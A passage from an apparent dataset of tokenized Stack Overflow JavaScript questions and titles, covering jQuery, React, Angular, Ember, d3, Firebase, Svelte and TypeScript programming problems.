,9,10,1,2 ] ] ] ] ] \r\n -- -- -- WebKitFormBoundaryFpwmP3acru2z5xQc\r\nContent-Disposition : form-data ; name=\ '' clientRevision\ '' \r\n\r\n478\r\n -- -- -- WebKitFormBoundaryFpwmP3acru2z5xQc\r\nContent-Disposition : form-data ; name=\ '' includeDiffs\ '' \r\n\r\ntrue\r\n -- -- -- WebKitFormBoundaryFpwmP3acru2z5xQc -- \r\n '' , `` method '' : `` POST '' , `` mode '' : `` cors '' , `` credentials '' : `` include '' } ) ; /* token : AC4w5VhQLkaKWPQT2sGl8uO8MkXyW1N7hg:1589033535890 AC4w5VhQLkaKWPQT2sGl8uO8MkXyW1N7hg // Probably it takes from user 1589033535890 // Timestamp of current session of current user includes_info_params : true // I think that 's what gets the user data and editing time of the cell /*selection : [ 30710966 , // Spreadsheet identificator ( Any idea , how to get it ? ? ? ) [ null , [ null , [ null , `` 629843311 '' , // Sheet ID in string 9 , // cell 's row - 1 1 ] , // cell 's column - 1 [ [ null , `` 629843311 '' // Sheet ID in string ,9 // cell 's row - 1 ,10 // cell 's row ,1 // cell 's column - 1 ,2 // cell 's column ] ] ] ] ] clientRevision : 478 // Edit step number ( How to get it ? ? ? ) includeDiffs : true // True shows last edition / false - look at previous steps */",How to get cell edit history by Google App Script ? "JS : I have an < input > and a < button > .The input has an onblur event handler that ( sometimes ) results in the < button > being moved ; if , with focus on the < input > , the user goes to click on the < button > ( and it is thereby moved from beneath the pointer before the click completes ) they must currently move their pointer to the button 's new location and click it a second time . This experience is suboptimal.I would like for users to have to click the < button > only once ( but must retain the functionality of the button moving when the < input > loses focus ) . However , if a user mousedowns over the button and then moves their mouse pointer away ( includes switching focus from the application ) before mouseup , no click event should be triggered ( as normal ) .I ca n't see any approach based on handling onmousedown and/or onmouseup that would not be prone to errors in some edge cases . All that I can think is to forcibly move the cursor in the onblur handler so that the click completes ( if indeed it would ? ) —but this is probably a poor user experience too.How can this best be handled ? $ ( 'button ' ) .click ( $ ( ' < li > < input > < /li > ' ) .children ( 'input ' ) .blur ( function ( ) { if ( ! this.value.length ) this.parentElement.remove ( ) ; } ) .end ( ) , function ( e ) { e.data.clone ( true ) .appendTo ( $ ( this ) .data ( 'target ' ) ) .children ( 'input ' ) .focus ( ) ; } ) ; < script src= '' //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js '' > < /script > List 1 < button data-target= '' # list1 '' > + < /button > < ul id= '' list1 '' > < /ul > List 2 < button data-target= '' # list2 '' > + < /button > < ul id= '' list2 '' > < /ul >",How to handle `` click '' event even if element is moved from beneath the cursor between mousedown and mouseup ? JS : I need to remove div elements which are loaded dynamically between two static div elements.HTMLThere are some div elements which are loaded in between those two static div elements . Now I need to remove those before I append some other elements.I tried using $ ( ' # defaultFirst ' ) .nextAll ( 'div ' ) .remove ( ) but that removed the # defaultLast element too . I know that I can get the ids of the dynamic div and remove . But I need to know if there is any simpler way to remove those dynamic div elements ? < div id= '' defaultFirst '' > < /div > ... ... < div id= '' defaultLast '' > < /div >,Remove div between div using Jquery JS : Below is a pure function f for which f ( a ) ! == f ( b ) despite a === b ( notice the strict equalities ) for some values of a and b : The existence of such functions can lead to difficult-to-find bugs . Are there other examples I should be weary of ? var f = function ( x ) { return 1 / x ; } +0 === -0 // truef ( +0 ) === f ( -0 ) // false,Pure function given strictly equal arguments yielding non-strictly equal results "JS : Sorry for the vague title ; I 've been restructuring some of my AngularJS code , trying to be more `` Angular '' about it , and I 've noticed this pattern popping up quite a bit : Basically , the controller is mostly there to give the scope a reference to the service so a view can use it , likeSo I have more than a few controllers that do nothing more than depend on certain shared data or services and serve to make references to those services available through the scope.Is there any disadvantage to using this design ? Can I improve my thinking any ? Is this the `` angular '' way to do it ? Thanks for any advice ! app.service ( `` someService '' , function ( ... ) { ... } app.controller ( `` ControllerForThisSection '' , function ( $ scope , someService ) { $ scope.someService = someService } < div ng-if= '' someService.status '' > ... . < /div >",AngularJS philosophy - controllers as `` windows '' to services JS : This following code behaving randomly sometime it works fine and sometime it throws error like this Stale Element Reference Exception what i want is i want to get this below executed firstafter above i want this to get executed this belowi have tried this way but it didnt seems to workhelp me out with thisi have attached the imagei am sending keys to Purchase Rquisition field and according i came up with result which will show only one result and i want to click and if i will put condition for visiblity it will always be true then i will lead to same issue element ( by.id ( 'FiltItemTransDocNo ' ) ) .sendKeys ( grno ) ; element.all ( by.name ( 'chkGrd ' ) ) .first ( ) .click ( ) ; element ( by.id ( 'FiltItemTransDocNo ' ) ) .sendKeys ( grno ) .then ( function ( el ) { element.all ( by.name ( 'chkGrd ' ) ) .first ( ) .click ( ) ; } ) ;,How to execute one element then and then another in protractor "JS : I have a componentDidCatch error boundary on my root component , to render a nice error page in case something terrible happens.But I also have a window.addEventListener ( 'error ' , cb ) event handler , in case something even worse happens ( outside React ) .My issue now is that whenever componentDidCatch gets an error , the window error handler gets it too , so I always end up with the worst case scenario error handling , rather than the `` in-react '' one.Also , it looks like the global error handler is triggered before the React error boundary , so it 's not possible to mark an error as `` handled '' so that I can manually ignore it later.Here 's a CodePen showing my issue : https : //codepen.io/FezVrasta/pen/MNeYqNA minimal code example would be : On the contrary , with just JavaScript , the local error handler would prevent the error from reaching the window error handler.https : //codepen.io/FezVrasta/pen/eqzrxO ? editors=0010Is this expected behavior ? Can you think of a way to make it work as I 'd like it to ? class App extends React.Component { componentDidCatch ( err ) { console.log ( 'react handled error ' , err ) ; } render ( ) { return 'foobar ' ; } } window.addEventListener ( 'error ' , err = > console.log ( 'global error ' , err ) ) ; // on error , I get : // 'global error ' , err// 'react handled error ' , err try { throw new Error ( 'error ' ) ; } catch ( err ) { alert ( 'scoped error ' ) ; } window.addEventListener ( 'error ' , ( ) = > alert ( 'global error ' ) )","componentDidCatch + window.addEventListener ( 'error ' , cb ) do n't behave as expected" JS : In JavaScript is there a difference between referencing a object 's variable name vs. using this when declaring new key : value pairs of the object ? Also : http : //jsbin.com/emayub/9/edit var foo = { bar : function ( ) { foo.qux = 'value ' ; } } ; alert ( foo.qux ) ; // undefined foo.bar ( ) ; alert ( foo.qux ) ; // 'value ' var foo = { bar : function ( ) { this.qux = 'value ' ; } } ; alert ( foo.qux ) ; // undefined foo.bar ( ) ; alert ( foo.qux ) ; // value,In JavaScript is there a difference between referencing an object 's variable name vs. using ` this ` when declaring new key : value pairs of the object ? "JS : How can I read testArrray in ul li and sort this list ? lis.sort ( function ( a , b ) ) has English/Arabic/and alphabet support , not Persian alphabet support . Help me please . Thank you var alphabets = [ `` ا '' , `` ب '' , `` پ '' , `` ت '' , `` ث '' , `` ج '' , `` چ '' , `` ح '' , `` خ '' , `` د '' , `` ذ '' , `` ر '' , `` ز '' , `` ژ '' , `` س '' , `` ش '' , `` ص '' , `` ض '' , `` ط '' , `` ظ '' , `` ع '' , `` غ '' , `` ف '' , `` ق '' , `` ک '' , `` گ '' , `` ل '' , `` م '' , `` ن '' , `` و '' , `` ه '' , `` ی '' , `` A '' , `` B '' , `` C '' , `` D '' , `` E '' , `` F '' , `` G '' , `` H '' , `` I '' , `` J '' , `` K '' , `` L '' , `` M '' , `` N '' , `` O '' , `` P '' , `` Q '' , `` R '' , `` S '' , `` T '' , `` U '' , `` V '' , `` W '' , `` X '' , `` Y '' , `` Z '' ] ; var testArrray = [ `` ی '' , `` گ '' , `` ژ '' , `` پ '' ] ; var aChar ; var bChar ; function OrderFunc ( ) { testArrray.sort ( function ( a , b ) { return CharCompare ( a , b , 0 ) ; } ) ; document.getElementById ( `` result '' ) .innerHTML = testArrray ; ; } function CharCompare ( a , b , index ) { if ( index == a.length || index == b.length ) return 0 ; aChar = alphabets.indexOf ( a.toUpperCase ( ) .charAt ( index ) ) ; bChar = alphabets.indexOf ( b.toUpperCase ( ) .charAt ( index ) ) ; if ( aChar ! = bChar ) return aChar - bChar else return CharCompare ( a , b , index + 1 ) } < html > < head > < /head > < body onload= '' OrderFunc ( ) '' > < div id= '' result '' > < /div > < ul class= '' myul '' > < li > ی < /li > < li > پ < /li > < li > گ < /li > < li > ژ < /li > < /ul > < /body > < /html >",How to sort list by Persian alphabet ? "JS : Firstly sorry for the post , I 'm pretty new to coding , I 'll try and keep it short and sweet.Simply put , when I include my jQuery code inline , I.E . beneath my HTML , it works fine - the element I am trying to animate 'hides ' and then 'shows ' as it should.However , when I make my own separate jquery.js file and put the code in there , it fails to render.I 've got the cdn script from google and included that , alongside a script and src to where my file is located inside my project folder , but still no luck.Inside my project folder I have a 'script.js ' folder , and then within that a 'jquery.js ' file.Here 's the code : Here 's the jQuery : ( Upon 'inspecting ' the problem in chrome I get an error which says `` jquery.js:1 Uncaught SyntaxError : Unexpected token < ) - But I ca n't see where I am mis-using a ' < '.Thanks in advance , and please feel free to tell me if I have left out anything important . < head > < link rel= '' stylesheet '' type= '' text/css '' href= '' css/style.css '' / > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js '' > < /script > < script src= '' script.js/jquery.js '' > < /script > < /head > < div class= '' content '' > < h2 > Hi there < /h2 > < h3 > Take a look ... < /h3 > < /div > < script > $ ( document ) .ready ( function ( ) { $ ( `` .content '' ) .hide ( 1000 ) .show ( 1000 ) ; } ) ; < /script >",How do I link my HTML with my jQuery ? "JS : How can I simplify this code ? if needed I can rename the .php files to be the same exact name as the ID element so $ ( `` # locus '' ) can be used /js/zip/ '' id element '' .php or whatever . Thats only if that helps out . < script type= '' text/javascript '' > $ ( ) .ready ( function ( ) { $ ( `` # locus '' ) .autocomplete ( `` /js/zip/us.php '' , { matchContains : true , matchFirst : true , mustMatch : false , selectFirst : false , cacheLength : 10 , minChars : 1 , autofill : false , scrollHeight : 150 , width : 185 , max : 20 , scroll : true } ) ; $ ( `` # locca '' ) .autocomplete ( `` /js/zip/ca.php '' , { matchContains : true , matchFirst : true , mustMatch : false , selectFirst : false , cacheLength : 10 , minChars : 1 , autofill : false , scrollHeight : 150 , width : 185 , max : 20 , scroll : true } ) ; $ ( `` # locuk '' ) .autocomplete ( `` /js/zip/uk.php '' , { matchContains : true , matchFirst : true , mustMatch : false , selectFirst : false , cacheLength : 10 , minChars : 1 , autofill : false , scrollHeight : 150 , width : 185 , max : 20 , scroll : true } ) ; $ ( `` # locau '' ) .autocomplete ( `` /js/zip/au.php '' , { matchContains : true , matchFirst : true , mustMatch : false , selectFirst : false , cacheLength : 10 , minChars : 1 , autofill : false , scrollHeight : 150 , width : 185 , max : 20 , scroll : true } ) ; $ ( `` # locie '' ) .autocomplete ( `` /js/zip/ie.php '' , { matchContains : true , matchFirst : true , mustMatch : false , selectFirst : false , cacheLength : 10 , minChars : 1 , autofill : false , scrollHeight : 150 , width : 185 , max : 20 , scroll : true } ) ; $ ( `` # locot '' ) .autocomplete ( `` /js/zip/ot.php '' , { matchContains : true , matchFirst : true , mustMatch : false , selectFirst : false , cacheLength : 10 , minChars : 1 , autofill : false , scrollHeight : 150 , width : 185 , max : 20 , scroll : true } ) ; } ) ; < /script >",Simplify javascript code "JS : Forgive me if this might be a bit of a noobie question , but this should work should n't it ? Meaning , it should spit outFor some reason this is n't doing this . Rather when it is run in terminal , it spits outWhat am I missing ? Could you please elaborate . var elems = [ 1,2,3,4,5 ] for ( var i = 0 ; i < elems.length ; i++ ) { return ( function ( e ) { console.log ( e ) } ) ( i ) ; } > > node file.js12345 > > node file.js1",For-loop saving state with closure "JS : I try to understand how Protovis works , and I stumbled upon code like this : I tried rolling my own short functions , like this : I am NOT asking about anonymous functions declared like function ( ) { stuff ( ) ; } . The code in question looks like function ( ) stuff ; and it works . I want to know why . I do n't want to learn about constructs like myvar = function ( a ) { return a+1 ; } , but about constructs like myvar = ( function ( a ) a+1 ) . Please look at the above code more carefully.But , as I suspected , it threw a syntax error.How can such code work ? ( Note : the protovis code does work as intended . ) force.node.add ( pv.Dot ) .size ( function ( d ) ( d.linkDegree + 4 ) * Math.pow ( this.scale , -1.5 ) ) // notice this .fillStyle ( function ( d ) d.fix ? `` brown '' : colors ( d.group ) ) // and this .strokeStyle ( function ( ) this.fillStyle ( ) .darker ( ) ) // and even this .lineWidth ( 1 ) .title ( function ( d ) d.nodeName ) .event ( `` mousedown '' , pv.Behavior.drag ( ) ) .event ( `` drag '' , force ) ; ( function ( a ) a+2 )",Weird Javascript expression "JS : I am writing a redux function where anytime i click a button i have to add a number n to the fourth element of the array . If the element is L or M i do not want the additionExample I have this array below , and the number to add , i.e . n is ' 5 ' I click the button once and the array becomesThe fourth element becomes 331I click the button twice and the array becomesThe fifth element becomes 92And so on until the array finishes and i start again from the third elementThis is my initial function where i was mapping all the valuesSee here in actionbut now i need an other array method to achieve that but i do not know which and how [ M 175 0 L 326 87 L 326 ] [ M 175 0 L 331 87 L 326 ] [ M 175 0 L 331 92 L 326 ] var string = 'M 175 0 L 326.55444566227675 87.50000000000001 L 326.55444566227675 262.5 L 175 350 L 23.445554337723223 262.5 L 23.44555433772325 87.49999999999999 L 175 0 ' , array = string.split ( /\s+/ ) , result = array.map ( x = > x === 'M ' || x === ' L ' ? x : +x + 5 ) .join ( ' ' ) ; console.log ( result ) ;",Array Method for looping to each element "JS : I am writing a JQuery plugin for a project I 'm working on which turns from tabbed content on desktop devices to an accordion on mobile devices . I 've used JQuery Boilerplate ( https : //github.com/jquery-boilerplate/jquery-boilerplate/blob/master/dist/jquery.boilerplate.js ) as an initial pattern for my plugin.The plugin is called on any element with the class `` .tabs2accordion '' as shown here : The plugin works as expected if there is only one element with `` .tabs2accordion '' class on a page but starts to malfunction as soon as another element with the same class is added to the page . I 've created a codepen of the basic code to demo the issue . To show the issue , on a window size of > 768px try clicking any of the titles and observe how the content below changes as each title is clicked . Next uncomment the block of HTML and try clicking on the titles again.http : //codepen.io/decodedcreative/pen/MyjpRjI have tried looping through each element with the class `` tabs2accordion '' like this : But this did n't fix the issue either.Any ideas ? $ ( `` .tabs2accordion '' ) .tabs2Accordion ( { state : '' desktop '' } ) ; $ ( `` .tabs2accordion '' ) .each ( function ( ) { $ ( this ) .tabs2Accordion ( { state : '' desktop '' } ) ; } ) ;",JQuery plugin not working when used in multiple places in a single page "JS : I get this warning for code below and I do n't understand why.It 's similar to this question : Unhandled rejection reasons ( should be empty ) but ... I 'm pretty sure I am handling all errors , so why the warning ? Here is JSFiddle : http : //jsfiddle.net/yoorek/jLLbR/ function run ( number ) { var deferred = Q.defer ( ) ; if ( number % 2 ) { deferred.reject ( new Error ( 'Error for ' + number ) ) ; } else { deferred.resolve ( number ) ; } return deferred.promise ; } var promises = [ ] , data = [ 1 , 2 , 3 , 4 , 5 ] ; data.forEach ( function ( item ) { var promise ; promise = run ( item ) .then ( function ( result ) { log.info ( 'Success : ' + result ) ; } ) .catch ( function ( error ) { log.info ( 'Error Handler in loop ' + error.message ) ; } ) ; promises.push ( promise ) ; } ) ; Q.all ( promises ) .then ( function ( ) { log.info ( 'All Success ' ) ; } ) .catch ( function ( error ) { log.info ( 'Error handler for All ' + error.message ) ; } ) ;",Q unhandled rejection reasons with Q.all "JS : I have noticed some inconsistencies between Python and JavaScript when converting a string to base36 . Python Method : Result : 37713647386641447Javascript Method : Result : 37713647386641450What causes the different results between the two languages ? What would be the best approach to produce the same results irregardless of the language ? Thank you . > > > print int ( 'abcdefghijr ' , 36 ) < script > document.write ( parseInt ( `` abcdefghijr '' , 36 ) ) ; < /script >",Converting string to base36 inconsistencies between languages . "JS : In my js file : I know about security restrictions for the pushState method : The new URL must be of the same origin as the current URL ; otherwise , pushState ( ) will throw an exception.However , in my website I use a domain : www.mydomain.com where pushState works fine . But when I call the method on my subdomain subdomain.mydomain.com , it throws a weird exception : Uncaught SecurityError : Failed to execute 'pushState ' on 'History ' : A history state object with URL 'http : //0.0.7.210/ ' can not be created in a document with origin 'http : //subdomain.mydomain.com'.I do call the IP 0.0.7.210 as something internal but I get this exception on development + live environment.I do resolve my subdomains via Route53 by the way . Maybe it has to do with that ? window.history.pushState ( `` , '' , slug ) ;",javascript pushState on a subdomain throws exception "JS : For a time series visualization in d3 , I want to highlight years on the axis . I 've accomplished this by making my own xAxis renderer , which invokes the native axis function and then implements my own custom logic to format the ticks that it renders . This is how I 've done it ( see working example on jsbin ) : This gets the job done , but feels wrong ; and it has n't really extended the axis , it 's only wrapped it . Ideally my customXAxis would inherit the properties of d3 's axis component , so I would be able to do things like this : Thanks to @ meetamit and @ drakes for putting this together . Here 's what I 've ended up with : http : //bl.ocks.org/HerbCaudill/ece2ff83bd4be586d9af xAxis = d3.svg.axis ( ) .scale ( xScale ) customXAxis = function ( ) { xAxis ( this ) ; d3.selectAll ( '.tick ' , this ) .classed ( `` year '' , isYear ) ; } ; ... xAxis.ticks ( 10 ) ; xAxisElement = canvas.append ( `` g '' ) .classed ( `` axis x '' , true ) .call ( customXAxis ) ; customXAxis.ticks ( 10 )",What 's the idiomatic way to extend a native d3 component like d3.svg.axis ( ) ? "JS : The first release for io.js is out this month , I was reading the docs when I found smalloc a new module introduced in io.js . Till today I have never felt a need of doing so in JavaScript . My questions are : I wonder if there is really a need of raw memory allocation in javscript using smalloc ? If its needed then why ? what would be the use case for using smalloc ? and if not then why did io.js members add this module ? It also saysIt 's possible is to specify the type of external array data you would like . All possible options are listed in smalloc.Types . Example usage : and here is the list of types supported for allocation Are we trying to make javascript a strongly typed language ? var doubleArr = smalloc.alloc ( 3 , smalloc.Types.Double ) ; smalloc.Types # Int8Uint8Int16Uint16Int32Uint32FloatDoubleUint8Clamped",use of smalloc in io.js "JS : I am trying to manage the sorted display of an array of objects based on a toggled property on a controller . Because of this i 'm unable to use the default sortProperties available to an ArrayController.The expected result is that when I first click on the `` edit '' button i 'm able to make changes to the items and when I click save it should re-render the { { # each } } block to show the new order of names.Is this a bug in handlebars or am I doing something wrong ? JSBin : Handlebars not re-rendering when property toggledHTML : JS : < script type= '' text/x-handlebars '' > { { outlet } } < /script > < script type= '' text/x-handlebars '' data-template-name= '' index '' > < h4 > Raw \ { { sorted_list } } property < /h4 > { { sorted_list } } < br/ > < h4 > Iterated ` \ { { # each item in sorted_list } } ` property < /h4 > < ul > { { # each item in sorted_list } } { { # if editing } } < li > { { input type= '' text '' value=item.name } } < /li > { { else } } { { item.name } } < br/ > { { /if } } { { /each } } < /ul > { { # if editing } } < button { { action `` edit_stuff '' } } > Save < /button > { { else } } < button { { action `` edit_stuff '' } } > Edit < /button > { { /if } } < /script > var App = Ember.Application.create ( ) ; App.Router.map ( function ( ) { } ) ; App.Person = Ember.Object.extend ( { toString : function ( ) { return this.name ; } } ) ; App.IndexRoute = Ember.Route.extend ( { model : function ( ) { return [ App.Person.create ( { name : `` Jules '' } ) , App.Person.create ( { name : `` Zed '' } ) , App.Person.create ( { name : `` Vincent '' } ) ] ; } } ) ; App.IndexController = Ember.ArrayController.extend ( { editing : false , sorted_list : ( function ( ) { return this.sort_people ( ) ; } ) .property ( 'editing ' ) , sort_people : function ( ) { var sorted ; sorted = this.get ( 'content ' ) ; sorted.sort ( function ( a , b ) { return Ember.compare ( a.name , b.name ) ; } ) ; this.set ( 'content ' , sorted ) ; return sorted ; } , actions : { edit_stuff : function ( ) { this.sort_people ( ) ; this.toggleProperty ( 'editing ' ) ; } } } ) ;",Why does n't handlebars { { # each } } rerender when reordering list ? "JS : I have a superclass which contains common functionality for components . I have a subclass which implements this superclass.In the headers template I am trying to access the userBut the user field is not being resolved . How can I access a superclass 's fields from a subclass ? export class AbstractComponent implements OnInit { public user : User ; constructor ( public http : HttpClient ) { } ngOnInit ( ) : void { this.http.get < User > ( 'url ' ) .subscribe ( user = > { this.user = user ; } ) ; } } @ Component ( { selector : 'app-header ' , templateUrl : './header.component.html ' , styleUrls : [ './header.component.scss ' ] } ) export class HeaderComponent extends AbstractComponent { constructor ( public http : HttpClient ) { super ( http ) ; } } < mat-toolbar color= '' primary '' > < span *ngIf= '' user '' > Welcome { { user.username } } ! < /span > < /mat-toolbar >",Access Superclass Fields from Angular 5 Component "JS : I am building a React component library whose source code takes this general structure : My components are responsible for importing their own per-component styles ( using scss ) , so for example , button/index.js has this line : So far , in my application I have been consuming my library directly from source like this : When my application uses webpack , along with style-loader , the per-component css is appended as style tags in head dynamically when the component is first used . This is a nice performance win since the per-component styling does n't need to be parsed by the browser until it 's actually needed.Now though , I want to distribute my library using Rollup , so application consumers would do something like this : When I use rollup-plugin-scss it just bundles the per-component styles all together , not dynamically adding them as before.Is there a technique I can incorporate into my Rollup build so that my per-component styles are dynamically added as style tags in the head tag as they are used ? - src - common.scss ( contains things like re-usable css variables ) - components - button - index.js - button.scss - dialog - index.js - dialog.scss import `` ./button.scss '' ; // app.jsimport `` mylib/src/common.scss '' // load global stylesimport Button from 'mylib/src/components/button/index.js'import Dialog from 'mylib/src/components/dialog/index.js'// ... application code ... import { Button , Dialog } from 'mylib'import `` mylib/common.css '' // load global styles// ... application code ...",Inject per-component style tags dynamically with Rollup and scss "JS : I am currently exploring Bucklescript/ReasonML with Svelte 3 for my next project . Typical Svelte component is a .svelte file : Instead , can I have script tag with src or equivalent to keep JS code in a separate file ? By moving the js code to a separate file , the target of the Bucklescript compiler ( which is a JS file ) could be used for the component.Vue.js already supports this with their SFC .vue file . On a side note : I could use Vue.js for this but the presence Virtual DOM is problematic for legacy codebase . And , Svelte is diminishing at runtime and thus very much desirable . Also , the use this in Vue makes things awkward in Ocaml/Reason . < script > let name = 'world ' ; < /script > < h1 > Hello world ! < /h1 > < script src='./some-file.js ' > < /script >",Can I move JS code out of Svelte component file to other file js file ? "JS : We are using Firebase Realtime Database in our Electron application.Executing `` set '' or `` update '' the first time after authentication works flawlessly . However , after waiting some time ( idle > one minute ) , executing a update or set operation is delayed by 30 seconds up to 2 minutes.We are executing the following snipped in a promise : The firebase log shows that the `` Websocket connection was disconnected '' .Please see the following log and pay attention to the delay ( 46 seconds ) in time before 18:21:12.226 : The delay is a very big problem for us and our users . We have not been able to reproduce it on MacOS or Linux.What is happening here and how can we solve this problem or debug it further ? this. $ fbDb.ref ( ) .update ( updatedNodes ) .then ( ( ) = > { console.log ( 'Successfully created configuration . ' ) resolve ( ) } ) .catch ( ( err ) = > { reject ( err ) } ) 18:20:26.064 Send.vue ? 6513:300 Adding the configuration ... 18:20:26.065 firebase.js ? 663c:26 [ FIREBASE ] 0 : update { `` path '' : '' / '' , '' value '' : { `` /surveys/65/-LDggpvburpfAYAPubqD '' : { ... } } } 18:20:26.091 firebase.js ? 663c:26 [ FIREBASE ] event : 18:20:26.092 firebase.js ? 663c:26 [ FIREBASE ] event : 18:20:26.092 firebase.js ? 663c:26 [ FIREBASE ] event : 18:20:26.093 firebase.js ? 663c:26 [ FIREBASE ] event : 18:20:26.094 firebase.js ? 663c:26 [ FIREBASE ] event : 18:20:26.094 firebase.js ? 663c:26 [ FIREBASE ] event : 18:20:26.095 firebase.js ? 663c:26 [ FIREBASE ] event : 18:21:12.226 firebase.js ? 663c:26 [ FIREBASE ] c:0:0:0 Websocket connection was disconnected.18:21:12.226 firebase.js ? 663c:26 [ FIREBASE ] c:0:0:0 WebSocket is closing itself18:21:12.227 firebase.js ? 663c:26 [ FIREBASE ] c:0:0 : Realtime connection lost.18:21:12.227 firebase.js ? 663c:26 [ FIREBASE ] c:0:0 : Closing realtime connection.18:21:12.228 firebase.js ? 663c:26 [ FIREBASE ] c:0:0 : Shutting down all connections18:21:12.228 firebase.js ? 663c:26 [ FIREBASE ] p:0 : data client disconnected18:21:12.229 firebase.js ? 663c:26 [ FIREBASE ] p:0 : Trying to reconnect in 0ms18:21:12.229 firebase.js ? 663c:26 [ FIREBASE ] 0 : onDisconnectEvents18:21:12.230 firebase.js ? 663c:26 [ FIREBASE ] p:0 : Making a connection attempt18:21:12.232 firebase.js ? 663c:26 [ FIREBASE ] p:0 : Auth token refreshed18:21:12.237 firebase.js ? 663c:26 [ FIREBASE ] getToken ( ) completed . Creating connection.18:21:12.238 firebase.js ? 663c:26 [ FIREBASE ] c:0:1 : Connection created18:21:12.242 firebase.js ? 663c:26 [ FIREBASE ] c:0:1:0 Websocket connecting to wss : //xxx.firebaseio.com/.ws ? v=5 & ls=abcde & ns=ourproject18:21:12.843 firebase.js ? 663c:26 [ FIREBASE ] c:0:1:0 Websocket connected.18:21:12.844 firebase.js ? 663c:26 [ FIREBASE ] c:0:1 : Realtime connection established.18:21:12.845 firebase.js ? 663c:26 [ FIREBASE ] p:0 : connection ready18:21:12.846 firebase.js ? 663c:26 [ FIREBASE ] p:0 : { `` r '' :13 , '' a '' : '' auth '' , '' b '' : { `` cred '' : '' token '' } } 18:21:12.847 firebase.js ? 663c:26 [ FIREBASE ] p:0 : Listen on /surveys/65 for default18:21:13.100 firebase.js ? 663c:26 [ FIREBASE ] p:0 : { `` r '' :14 , '' a '' : '' q '' , '' b '' : { `` p '' : '' /surveys/65 '' , '' h '' : '' B9G3P0cJefaRilsIFiMp7NHwhYY= '' } } 18:21:13.102 firebase.js ? 663c:26 [ FIREBASE ] p:0 : { `` r '' :15 , '' a '' : '' m '' , '' b '' : { `` p '' : '' / '' , '' d '' : { ... } } } 18:21:13.115 firebase.js ? 663c:26 [ FIREBASE ] p:0 : from server : { `` r '' :13 , '' b '' : { `` s '' : '' ok '' , '' d '' : { `` auth '' : { `` provider '' : '' custom '' , '' user_id '' : '' ourUser '' , '' cid '' : '' 65 '' , '' token '' : { `` exp '' :1527614289 , '' user_id '' : '' ourUser '' , '' cid '' : '' 65 '' , '' iat '' :1527610689 , '' sub '' : '' ourUser '' , '' aud '' : '' ourproject '' , '' auth_time '' :1527610689 , '' iss '' : '' https : //securetoken.google.com/ourproject '' , '' firebase '' : { `` identities '' : { } , '' sign_in_provider '' : '' custom '' } } , '' uid '' : '' ourUser '' } , '' expires '' :1527614289 } } } 18:21:13.252 firebase.js ? 663c:26 [ FIREBASE ] c:0:1 : Primary connection is healthy.18:21:13.253 firebase.js ? 663c:26 [ FIREBASE ] p:0 : from server : { `` r '' :14 , '' b '' : { `` s '' : '' ok '' , '' d '' : { } } } 18:21:13.253 firebase.js ? 663c:26 [ FIREBASE ] p:0 : listen response { `` s '' : '' ok '' , '' d '' : { } } 18:21:13.309 firebase.js ? 663c:26 [ FIREBASE ] p:0 : handleServerMessage m { `` p '' : '' surveys/65 '' , '' d '' : { ... } } } 18:21:13.313 firebase.js ? 663c:26 [ FIREBASE ] p:0 : from server : { `` r '' :15 , '' b '' : { `` s '' : '' ok '' , '' d '' : '' '' } } 18:21:13.314 firebase.js ? 663c:26 [ FIREBASE ] p:0 : m response { `` s '' : '' ok '' , '' d '' : '' '' } 18:21:13.339 Send.vue ? 6513:312 Successfully created configuration .",Firebase database looses websocket connection which results in delays "JS : Is there any way to find all numeric classes with jQuery ? I have elements with the following classes : But , I 'm using jQuery draggable ui . So those placeholders are draggable , and eventualy those numeric classes will be in a random order eg ( 3 , 0 , 2 , 1 ) , and will no longer match with the index if I use the .each function.So basicly , on pageload , the elements will have the order as 0 , 1 , 2 , 3 , ... ( based on amount of results in the database ) .They can mess around and this will result in a random order ( 0 , 3 , 2 , 1 , ... ) . But there is a default button . With this button they can undo all there actions , and reset the default order.I tried with the following but this did n't work as the index does n't match with the numeric class if they mess around ( which they will obviously will ) .Any help is greatly appreciated ! ! < div class= '' placeholder 0 original dropped default-load '' > < /div > < div class= '' placeholder 1 original dropped default-load '' > < /div > < div class= '' placeholder 2 original dropped default-load '' > < /div > < div class= '' placeholder 3 original dropped default-load '' > < /div > $ ( `` .default '' ) .click ( function ( e ) { e.preventDefault ( ) ; $ ( `` li.placeholder '' ) .each ( function ( index ) { $ ( this ) .empty ( ) ; $ ( this ) .removeClass ( index ) ; $ ( this ) .removeClass ( `` dropped '' ) ; $ ( this ) .removeClass ( `` default-load '' ) ; if ( ! ( $ ( this ) .hasClass ( `` original '' ) ) ) { $ ( this ) .remove ( ) ; } $ ( `` .modal- '' + index ) .remove ( ) ; } ) ; init ( ) ; // Callback } ) ;",How to find all numeric classes jQuery "JS : We are working on a tutorial for the basics of offline first apps , and are using JSDOM with Tape to test our code.In our code we update the DOM so that a text node changes from saying `` online '' to `` offline '' and vice versa by attaching an event listener to the window and listening for the `` online '' / '' offline '' events , and navigator.onLine to initialise the text to online/offline . Like so : We want to use JSDOM to test that when offline the offline event fires and our text node updates to say `` offline '' .JSDOM has a window.navigator.onLine property , but it is read only , and we ca n't find a way to change it ( always true ) . It seems that it has the online/offline events as well , but I can not see how to get them to fire . How can we simulate going online/offline when testing with node ? // get the online status element from the DOMvar onlineStatusDom = document.querySelector ( '.online-status ' ) ; // navigator.onLine will be true when online and false when offline . We update the text in the online status element in the dom to reflect the online status from navigator.onLineif ( navigator.onLine ) { onlineStatusDom.innerText = 'online ' ; } else { onlineStatusDom.innerText = 'offline ' ; } // we use the 'online ' and 'offline ' events to update the online/offline notification to the user// in IE8 the offline/online events exist on document.body rather than window , so make sure to reflect that in your code ! window.addEventListener ( 'offline ' , function ( e ) { onlineStatusDom.innerText = 'offline ' ; } ) ; window.addEventListener ( 'online ' , function ( e ) { onlineStatusDom.innerText = 'online ' ; } ) ;",Simulating going online/offline with JSDOM "JS : The whole point of adding static types to JavaScript is to provide some guarantees about type safety . I noticed that array indexing seems to break type safety without using any dirty tricks like as any or the not null assertion operator.This code does not cause any TypeScript errors , even though it is plain to see that it will violate type safety . It seems to me that the type of an Array < T > acted upon by the index operator [ ] should be type T | undefined , however the TypeScript compiler treats it as if it was type T.Upon further investigation , I discovered that this behavior applies to use of the index operator on objects as well . It would seem that the index operator is not type safe in any case.Use of the index operator on an object with arbitrary key returns type any , which can be assigned to any type without causing type errors . However , this can be resolved by using the -- noImplicitAny compiler option.My question is why does something as basic as indexing on an array break type safety ? Is this a design constraint , an oversight , or a deliberate part of 